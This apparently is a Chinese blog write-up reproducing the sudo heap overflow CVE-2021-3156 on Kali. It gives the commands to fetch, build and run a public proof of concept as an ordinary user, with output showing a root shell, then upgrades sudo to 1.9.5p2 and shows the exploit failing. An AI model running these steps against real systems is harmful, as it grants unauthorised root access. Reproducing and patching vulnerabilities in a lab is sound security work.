今天安全圈都在刷屏【CVE-2021-3156】这个漏洞,由于这是一个缓冲区溢出漏洞,通用性比较强,因此也跟风实验一下,详细复现及修复过程如下。
操作系统:kali-linux-2020.1b
root@kali:~# adduser test
Adding user `test' ...
Adding new group `test' (1001) ...
Adding new user `test' (1001) with group `test' ...
Creating home directory `/home/test' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
test ALL=(root) NOPASSWD:/usr/sbin/useradd,/usr/sbin/usermod
test@kali:~/CVE-2021-3156$ sudo --version
Sudo version 1.8.29
Sudoers policy plugin version 1.8.29
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.29
root@kali:~# sudoedit -s /
sudoedit: /: not a regular file
此次使用的是kali,sudo版本为:1.8.29。漏洞poc:https://haxx.in/CVE-2021-3156nsspoc_ubuntu.tar.gz,在普通用户下执行下列命令。
tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make && ./sudo-hax-me-a-sandwich 0
test@kali:~$ tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
CVE-2021-3156/
CVE-2021-3156/hax.c
CVE-2021-3156/Makefile
CVE-2021-3156/lib.c
test@kali:~$ cd CVE-2021-3156/
test@kali:~/CVE-2021-3156$ ls
hax.c lib.c Makefile
test@kali:~/CVE-2021-3156$ make && ./sudo-hax-me-a-sandwich 0
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
**** CVE-2021-3156 PoC by blasty <[email protected]>
[+] bl1ng bl1ng! We got it!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
#
至此,提权成功
由于上面的exp已经无法下载,也可以使用github上的复现一下
root@kali:~# su - test
test@kali:~$ git clone https://github.com/blasty/CVE-2021-3156.git
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.
test@kali:~$ cd CVE-2021-3156/
test@kali:~/CVE-2021-3156$ ls
brute.sh hax.c lib.c Makefile README.md
test@kali:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test@kali:~/CVE-2021-3156$ ls
brute.sh hax.c lib.c libnss_X Makefile README.md sudo-hax-me-a-sandwich
test@kali:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
# whoami
root
#
官网https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz,下载最新版本sudo软件tar包,并解压
tar zxvf sudo-1.9.5p2.tar.gz
进入解压目录,执行编译命令
./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
编译成功后,查看版本
root@kali:~/sudo-1.9.5p2# sudo --version
Sudo version 1.9.5p2
Configure options: --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt=[sudo] password for %p:
Sudoers policy plugin version 1.9.5p2
Sudoers file grammar version 48
...
...
Sudoers I/O plugin version 1.9.5p2
Sudoers audit plugin version 1.9.5p
再次测试漏洞,无法成功
test@kali:~/CVE-2021-3156$ make && ./sudo-hax-me-a-sandwich 0
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
**** CVE-2021-3156 PoC by blasty <[email protected]>
usage: sudoedit [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...
root下测试漏洞,不受影响
root@kali:~# sudoedit -s /
usage: sudoedit [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...
此漏洞是一个存在了十年的基于堆溢出的缓冲区溢出漏洞,有着很大的实战价值,值得我们熟悉了解。